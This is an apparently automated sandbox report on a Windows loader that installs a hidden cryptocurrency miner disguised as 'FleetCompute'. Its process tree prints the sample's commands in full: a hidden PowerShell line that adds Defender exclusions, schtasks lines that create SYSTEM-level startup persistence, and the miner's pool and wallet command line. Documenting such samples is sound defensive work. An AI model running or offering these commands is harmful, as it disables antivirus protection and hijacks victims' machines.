8574eaccfc100749112ed0983bd2a131ebaafaf39ba8b1be03f39264eaf7afd2

Analysis

max time kernel
150s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 12:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.exe
Size 297KB
Sample261102-plhhcshy6s
SHA256 8574eaccfc100749112ed0983bd2a131ebaafaf39ba8b1be03f39264eaf7afd2
MD5 89cfcfef03f061ec7cb4bd32142ebc1c
SHA1 d8f62c9092c25c16ca9a43c70cc10e23ddc41f76
SHA512 c146ed0baef0a5b3fcfbf2c2657ffd4695617ef8a8fc1a6cd56ae25d821c7379451718e398919356c7c0b7506ad353cf4aeb4d1c5463b98c5b66b0a5454b3706
SSDEEP 3072:6Fyzh+FQTQl0nIr/Ej1+FP1nVwXo6pcyyAcoaWs3X:6F21fusj1+nV+RoW8X
TLSH
T1A7545D0672935CBCC517D4B846A6A7F29A30B8621470EDBF17A0EF311F23D10AF59B69
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4296	powershell.exe
3540	powershell.exe
3852	powershell.exe
1680	powershell.exe
4296	powershell.exe
3540	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
7	4640	FleetComputeService.exe

Executes dropped EXE 5 IoCs

pid	Process
4640	FleetComputeService.exe
3760	FleetComputeService.exe
6108	fc-engine.exe
4412	fc-engine.exe
2536	fc-engine.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c466-100.dat	upx
behavioral2/memory/6108-102-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/6108-105-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/4412-108-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/2536-111-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/2536-117-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/2536-121-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/2536-125-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx
behavioral2/memory/2536-134-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp	upx

Direct Volume Access: Opens a physical disk for reading 1 TTPs 3 IoCs

Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

defense_evasion

Direct Volume Access

T1006

description	ioc	Process
File opened (read-only)	\??\PHYSICALDRIVE0	loader.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeService.exe
File opened (read-only)	\??\PHYSICALDRIVE0	FleetComputeService.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6048	cmd.exe
4992	cmd.exe
4876	cmd.exe
5820	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	fc-engine.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	fc-engine.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	FleetComputeService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	FleetComputeService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2880	WMIC.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	loader.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeService.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeService.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	FleetComputeService.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemUUID	FleetComputeService.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	loader.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3528	schtasks.exe
404	schtasks.exe
4780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4296	powershell.exe
4296	powershell.exe
2880	WMIC.exe
2880	WMIC.exe
2880	WMIC.exe
2880	WMIC.exe
3540	powershell.exe
3540	powershell.exe
3540	powershell.exe
3852	powershell.exe
3852	powershell.exe
3852	powershell.exe
1680	powershell.exe
1680	powershell.exe
1680	powershell.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe
4640	FleetComputeService.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeIncreaseQuotaPrivilege	4296	powershell.exe
Token: SeSecurityPrivilege	4296	powershell.exe
Token: SeTakeOwnershipPrivilege	4296	powershell.exe
Token: SeLoadDriverPrivilege	4296	powershell.exe
Token: SeSystemProfilePrivilege	4296	powershell.exe
Token: SeSystemtimePrivilege	4296	powershell.exe
Token: SeProfSingleProcessPrivilege	4296	powershell.exe
Token: SeIncBasePriorityPrivilege	4296	powershell.exe
Token: SeCreatePagefilePrivilege	4296	powershell.exe
Token: SeBackupPrivilege	4296	powershell.exe
Token: SeRestorePrivilege	4296	powershell.exe
Token: SeShutdownPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeSystemEnvironmentPrivilege	4296	powershell.exe
Token: SeRemoteShutdownPrivilege	4296	powershell.exe
Token: SeUndockPrivilege	4296	powershell.exe
Token: SeManageVolumePrivilege	4296	powershell.exe
Token: 33	4296	powershell.exe
Token: 34	4296	powershell.exe
Token: 35	4296	powershell.exe
Token: 36	4296	powershell.exe
Token: SeIncreaseQuotaPrivilege	4296	powershell.exe
Token: SeSecurityPrivilege	4296	powershell.exe
Token: SeTakeOwnershipPrivilege	4296	powershell.exe
Token: SeLoadDriverPrivilege	4296	powershell.exe
Token: SeSystemProfilePrivilege	4296	powershell.exe
Token: SeSystemtimePrivilege	4296	powershell.exe
Token: SeProfSingleProcessPrivilege	4296	powershell.exe
Token: SeIncBasePriorityPrivilege	4296	powershell.exe
Token: SeCreatePagefilePrivilege	4296	powershell.exe
Token: SeBackupPrivilege	4296	powershell.exe
Token: SeRestorePrivilege	4296	powershell.exe
Token: SeShutdownPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeSystemEnvironmentPrivilege	4296	powershell.exe
Token: SeRemoteShutdownPrivilege	4296	powershell.exe
Token: SeUndockPrivilege	4296	powershell.exe
Token: SeManageVolumePrivilege	4296	powershell.exe
Token: 33	4296	powershell.exe
Token: 34	4296	powershell.exe
Token: 35	4296	powershell.exe
Token: 36	4296	powershell.exe
Token: SeIncreaseQuotaPrivilege	4296	powershell.exe
Token: SeSecurityPrivilege	4296	powershell.exe
Token: SeTakeOwnershipPrivilege	4296	powershell.exe
Token: SeLoadDriverPrivilege	4296	powershell.exe
Token: SeSystemProfilePrivilege	4296	powershell.exe
Token: SeSystemtimePrivilege	4296	powershell.exe
Token: SeProfSingleProcessPrivilege	4296	powershell.exe
Token: SeIncBasePriorityPrivilege	4296	powershell.exe
Token: SeCreatePagefilePrivilege	4296	powershell.exe
Token: SeBackupPrivilege	4296	powershell.exe
Token: SeRestorePrivilege	4296	powershell.exe
Token: SeShutdownPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeSystemEnvironmentPrivilege	4296	powershell.exe
Token: SeRemoteShutdownPrivilege	4296	powershell.exe
Token: SeUndockPrivilege	4296	powershell.exe
Token: SeManageVolumePrivilege	4296	powershell.exe
Token: 33	4296	powershell.exe
Token: 34	4296	powershell.exe
Token: 35	4296	powershell.exe
Token: 36	4296	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1252 wrote to memory of 4296	1252	loader.exe	88
PID 1252 wrote to memory of 6048	1252	loader.exe	92
PID 6048 wrote to memory of 3528	6048	cmd.exe	94
PID 1252 wrote to memory of 4640	1252	loader.exe	95
PID 1252 wrote to memory of 4992	1252	loader.exe	96
PID 4992 wrote to memory of 404	4992	cmd.exe	98
PID 4640 wrote to memory of 4876	4640	FleetComputeService.exe	100
PID 4876 wrote to memory of 2880	4876	cmd.exe	102
PID 3760 wrote to memory of 3540	3760	FleetComputeService.exe	104
PID 4640 wrote to memory of 3852	4640	FleetComputeService.exe	107
PID 4640 wrote to memory of 1680	4640	FleetComputeService.exe	109
PID 3760 wrote to memory of 5820	3760	FleetComputeService.exe	111
PID 5820 wrote to memory of 4780	5820	cmd.exe	113
PID 4640 wrote to memory of 6108	4640	FleetComputeService.exe	115
PID 6108 wrote to memory of 4412	6108	fc-engine.exe	117
PID 4412 wrote to memory of 2536	4412	fc-engine.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\loader.exe
"C:\Users\Admin\AppData\Local\Temp\loader.exe"
1⤵
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try{Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\FleetCompute';Add-MpPreference -ExclusionProcess 'fc-engine.exe';Add-MpPreference -ExclusionProcess 'krig-miner.exe';Add-MpPreference -ExclusionProcess 'FleetComputeService.exe'}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4296
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6048
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3528
- C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
  "C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Direct Volume Access: Opens a physical disk for reading
  - Reads the TCP/IP host and domain name from the registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1680
- - C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
    "C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe" -a pearl -p stratum+ssl://prl-eu.kryptex.network:8048 -w prl1pq2dlexs8k0zs3vu7llh082pmwfdsa9nmc78h6flral5ahvsdx29qrmypnn --worker SZAPMTOP --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 1 --cpu_threads 4 --nc 1 -o log --no-color --set http_enabled=false --set disable_udp=true --set auto-update=off
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:6108
  - - C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
      "C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+ssl://prl-eu.kryptex.network:8048" "-w" "prl1pq2dlexs8k0zs3vu7llh082pmwfdsa9nmc78h6flral5ahvsdx29qrmypnn" "--worker" "SZAPMTOP" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "1" "--cpu_threads" "4" "--nc" "1" "-o" "log" "--no-color" "--set" "http_enabled=false" "--set" "disable_udp=true" "--set" "auto-update=off"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4412
    - - C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
        
        "C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+ssl://prl-eu.kryptex.network:8048 -w prl1pq2dlexs8k0zs3vu7llh082pmwfdsa9nmc78h6flral5ahvsdx29qrmypnn --worker SZAPMTOP --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 1 --cpu_threads 4 --nc 1 -o log --no-color --set http_enabled=false --set disable_udp=true --set auto-update=off --no-color
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        
        PID:2536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:404

C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
1⤵
- Executes dropped EXE
- Direct Volume Access: Opens a physical disk for reading
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try{Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\FleetCompute';Add-MpPreference -ExclusionProcess 'fc-engine.exe';Add-MpPreference -ExclusionProcess 'krig-miner.exe';Add-MpPreference -ExclusionProcess 'FleetComputeService.exe'}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5820
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FleetComputeAgent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe" --run"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FleetComputeService.exe

Path C:\Users\Admin\AppData\Local\FleetCompute\FleetComputeService.exe
Size 297KB
SHA256 8574eaccfc100749112ed0983bd2a131ebaafaf39ba8b1be03f39264eaf7afd2
MD5 89cfcfef03f061ec7cb4bd32142ebc1c
SHA1 d8f62c9092c25c16ca9a43c70cc10e23ddc41f76
SHA512 c146ed0baef0a5b3fcfbf2c2657ffd4695617ef8a8fc1a6cd56ae25d821c7379451718e398919356c7c0b7506ad353cf4aeb4d1c5463b98c5b66b0a5454b3706
SSDEEP 3072:6Fyzh+FQTQl0nIr/Ej1+FP1nVwXo6pcyyAcoaWs3X:6F21fusj1+nV+RoW8X
TLSH
T1A7545D0672935CBCC517D4B846A6A7F29A30B8621470EDBF17A0EF311F23D10AF59B69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fc-engine.exe

Path C:\Users\Admin\AppData\Local\FleetCompute\bin\fc-engine.exe
Size 44.3MB
SHA256 7f890db561eff2bceadc0d785efe2dc231f8073068e482bdb4a0cd4d87867b06
MD5 64fb91bb0e3a812dc18ffb923a0352de
SHA1 f26f07232fc5877883f13e7aed04361d8ddd2fe4
SHA512 2b25f45503a70ac15b04ffc42fd4eaf5552a3edd9bf2a00f0413699f798e40c65f0e671c3cbeae9a6c7dcfac8acb020bb92f21cd7e1e398ebb12a92516f3d2ad
SSDEEP 786432:u4CNUtAq3/n9AUjTYQqgmWxcAg7ncCdmbBwBzpo0kFWoAPAmIgR2PcleKVXC9P:ehUFAuYQAkcAcncCds+zpHkEhAG2UzVq
TLSH
T147A7332E442FBDE6ECC1E3FF0A1CD6069181E21D9693C975D08642FD63487B6E48DA4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
Size 522B
SHA256 3a382560d1571511895741659e7e24e21a851d783be574e4c9436d325b12f551
MD5 8092d1248c3689aea9d48ebbfea36161
SHA1 123c5ef01aeb7ecc6d999864b21e60583aca16d2
SHA512 57c032e691079159a89bfb8318963e45ab75a75dfcadb1c2b2a7eb803d9ad9ffa03c4e0e9511ee7c8ffba22e4ad18f181bbd5bab434797bbe53293b2d6aae3ce
TLSH
T1EBF050DAF1FB845C1F1651631F6152C4D9F78645E54931D05AF1D518805844FD777433
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
Size 618B
SHA256 7fc6a41a0af57aa43f7e72fa0cc0a0290b241aee04dfe5f438a2fc087348deda
MD5 56ec254b448b39a353e1a39c66806c1d
SHA1 070374cf0ae6007008dd96204e20acc57ce58841
SHA512 a6da973b30f874c2c9537c0ea6f684088125caa204e8cdf5e6edc52df6536c1ddc0b063e215a104afb9abb405dda2145c605b9f80da2aa3913d46f1aa5f3cc9e
TLSH
T1D9F028DEF0BBC45C1F1661B25F6262C4DAE2C645E90A32E05AB2D618806940FD777433
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
Size 684B
SHA256 75603604815cac45bc4c842fb382739450e474c9a67b09f7e1daaeb747515b98
MD5 fe5472782acf2862245b393bed8c4b12
SHA1 c12132f584b4710cb40ddcfd61cc6ec5a1811d66
SHA512 3bd28dc26cabc3d5afaf86d2d135ff012270f46769798c30f555ffdcf7335254154b263b810b5b49348cb52de7926d7aaa624b9272c8a33137a84904e79b3588
TLSH
T19E0149DEF0B7C45C2F6661B29FA262C4DEE2C605E40A32E056B2E618C06944FD777533
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
Size 724B
SHA256 d192619d37b6218c44eb15b6280f9a06df287193723b1a5c1178310c31887210
MD5 49dac4fe2ed707d85d05f6c4d8e27648
SHA1 3e790b6f5318c426fc088a25de3193bf63548ed7
SHA512 d4e48852e98535e5e114ae5e1886614bbaf756ada34f37ffcd265a1f98ffc30bf736e96656989a7f792906082078c367be6a3359b7b5e38cb77e0f7c09edf778
TLSH
T1910147DEF0B7C45C2F6661725FA262C4DEE2C605E84A32E056B1E608C06944FD772433
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetCompute\logs\agent.log
Size 899B
SHA256 ca992a3f17d0ecfffea9119e85129b3ac2ec7b797331c7af466b5aabec063f5b
MD5 461a95bf1df37a858c0fe3cff714961f
SHA1 7e288507b9d2eeca5bdf8e6d13bfeb150eef0ec8
SHA512 7f78c424ccdc23042e171eff3914496b4236e5770ed024f2b297b8caef730a6b5a6f33d34ba78ff110290be0376b0a887eb64c754fb7000ec86d7a34a4ae4294
TLSH
T17B1159DEF4B7C55D2BA631715F6313C0CEE2C601E81A71E045B2E608806904FD732033
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b71bf065a2c398a1c7b6fb1f4517d2a1bcb087f9f4c4d27aed662581a18f3c9b
MD5 a36c05e9fb63692c515d9ae8a6c2a55f
SHA1 b1d4b2ee1fec3c9ea9545099cebb3d51b78dc9e8
SHA512 706a3c3ed23dd721893828c86fff759ca0ade48396bb6d1d0fa9e40b22e6ad89c667d746b69c45b061a64b5fa847414738722e116f5c4e7ab559b35e6f0679c8
TLSH
T18321AC33F3DC8215CC99413A10CDAC1032B6C7CB41DECF9B6B80D255A43F6A9CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 914d1a8c021ca0b9cffc52ca9864844c34530aa93a1c9477a9c1c4aa5feb6584
MD5 3d4f452aed8f523611b593965cc6917b
SHA1 3910605422c6971a5753312f7c730de7fd68850c
SHA512 043936b2c1795e9d7c1ab0d80409002c190a7f2a4d47c7bc88d46eda05a4e74e5d4516161b42725c07226cf488cbb5a13e0549d0444d759258483b9963512a64
TLSH
T168218B33F3DD8624CC9A413A10CDAC1036B6C7DB41DECFAB6B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_seu34jri.tfy.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_seu34jri.tfy.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu1.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt
Size 152B
SHA256 136d94dfb544f0e1b7aa03e61af0c8d7c4e37c427963e3b157d1bf8c5fff4ac5
MD5 eac478794518a12c1bda38d9864489cc
SHA1 60a6ef2e33ecce698347bbc7f72c4c58a6c126d9
SHA512 9a2685189fb296a78c826f9993ee6740a01d67e60e221f8d6dd20458773814fd4f0e3487d6ebf0406131fc646c46983967b01a1b7a8785ccdd87d86979fd9d89
TLSH
T17DC04C1B72DD0114F0A2938583F1447757153964947D559D60C6174755F0D0166466DB
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu2.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt
Size 72B
SHA256 702bc2eaaede7b87f9ee1dcaea888d78b17cd1526c016695ed39e384588e8f66
MD5 723c7a3cf8b9a1feaefa8a05aaba4a95
SHA1 04ef73855160ee4ae5c86e0b0751bc38a6d7d256
SHA512 d3514fe8ea5bd0323f17370e9bf9191b22d713c70a3cfac3b0ae8528189072ea1b09d78f278181d5d2a225d481094e6a04fbf047e9cd0cd843d4b296919a35ec
TLSH
T1D8A022020008E20C08838B00F0B20A08E3F2E230020800CC3B83B80F0F8202C238A0B8
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu4.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt
Size 43B
SHA256 c62ab326b8361707c05e3602dc2fcc36f90e3d47f6c260a361640b1d18d2f645
MD5 cf692509f242c9f29ad15e735d2843d7
SHA1 d70f0c7dad8efc1997178328978af344f5244ba0
SHA512 d354661bcdd45891d8c81157cee4c01a6d029a940d020f5bcf1dfefd01414afcb7a517973810134cbcc42178a790ec9d601e73b59c8ff7881295ab650f414dfe
MD5 SHA1 SHA512

Submit Download

memory/1252-43-0x00007FF71E7E0000-0x00007FF71E81D000-memory.dmp

Download

memory/1252-27-0x00007FF71E7E0000-0x00007FF71E81D000-memory.dmp

Download

memory/1680-74-0x0000023A70CB0000-0x0000023A70CCE000-memory.dmp

Download

memory/2536-125-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

Download

memory/2536-111-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

Download

memory/2536-117-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

Download

memory/2536-121-0x00007FF7F1000000-0x00007FF7F593F000-memory.dmp

Download

